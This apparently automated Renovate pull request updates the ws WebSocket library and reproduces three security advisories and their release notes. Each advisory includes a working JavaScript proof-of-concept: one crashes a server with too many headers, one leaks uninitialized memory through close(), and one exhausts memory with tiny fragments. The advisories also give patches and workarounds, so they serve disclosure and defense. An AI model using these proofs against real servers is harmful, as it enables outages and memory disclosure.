fix(deps): update dependency ws to v8.21.0 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	8.17.0 → 8.21.0

---

ws affected by a DoS when handling a request with many HTTP headers

CVE-2024-37890 / GHSA-3h5v-q93c-6h6q

More information

Details

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• GHSA-3h5v-q93c-6h6q
• https://www.cve.org/CVERecord?id=CVE-2024-37890
• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q
• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231
• https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f
• https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e
• https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c
• https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63
• https://github.com/advisories/GHSA-3h5v-q93c-6h6q

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ws: Uninitialized memory disclosure

CVE-2026-45736 / GHSA-58qx-3vcg-4xpx

More information

Details

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (websockets/ws@c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

• GHSA-58qx-3vcg-4xpx
• https://www.cve.org/CVERecord?id=CVE-2026-45736

Severity

• CVSS Score: 4.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
• https://nvd.nist.gov/vuln/detail/CVE-2026-45736
• https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
• https://github.com/advisories/GHSA-58qx-3vcg-4xpx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779 / GHSA-96hv-2xvq-fx4p

More information

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
• https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
• https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
• https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
• https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
• https://nvd.nist.gov/vuln/detail/CVE-2026-48779
• https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
• https://bugzilla.redhat.com/show_bug.cgi?id=2489661
• https://access.redhat.com/security/cve/CVE-2026-48779
• https://access.redhat.com/errata/RHSA-2026:34342
• https://access.redhat.com/errata/RHSA-2026:33574
• https://access.redhat.com/errata/RHSA-2026:33183
• https://access.redhat.com/errata/RHSA-2026:33173
• https://access.redhat.com/errata/RHSA-2026:33163
• https://access.redhat.com/errata/RHSA-2026:33160
• https://access.redhat.com/errata/RHSA-2026:33155
• https://access.redhat.com/errata/RHSA-2026:29197
• https://access.redhat.com/errata/RHSA-2026:36820
• https://access.redhat.com/errata/RHSA-2026:36754
• https://access.redhat.com/errata/RHSA-2026:37272
• https://access.redhat.com/errata/RHSA-2026:27171
• https://access.redhat.com/errata/RHSA-2026:26638
• https://github.com/advisories/GHSA-96hv-2xvq-fx4p

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

websockets/ws (ws)

v8.21.0

Compare Source

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

v8.20.1

Compare Source

Bug fixes

• Fixed an uninitialized memory disclosure issue in websocket.close()
  (c0327ec).

Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

The issue was privately reported by Nikita Skovoroda.

v8.20.0

Compare Source

Features

• Added exports for the PerMessageDeflate class and utilities for the
  Sec-WebSocket-Extensions and Sec-WebSocket-Protocol headers (d3503c1).

v8.19.0

Compare Source

Features

• Added the closeTimeout option (#​2308).

Bug fixes

• Handled a forthcoming breaking change in Node.js core (1998485).

v8.18.3

Compare Source

Bug fixes

• Fixed a spec violation where the Sec-WebSocket-Version header was not added
  to the HTTP response if the client requested version was either invalid or
  unacceptable (#​2291).

v8.18.2

Compare Source

Bug fixes

• Fixed an issue that, during message decompression when the maximum size was
  exceeded, led to the emission of an inaccurate error and closure of the
  connection with an improper close code (#​2285).

v8.18.1

Compare Source

Bug fixes

• The length of the UNIX domain socket paths in the tests has been shortened to
  make them work when run via CITGM (021f7b8).

v8.18.0

Compare Source

Features

• Added support for Blob (#​2229).

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   --max-http-header-size=size and/or the maxHeaderSize options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

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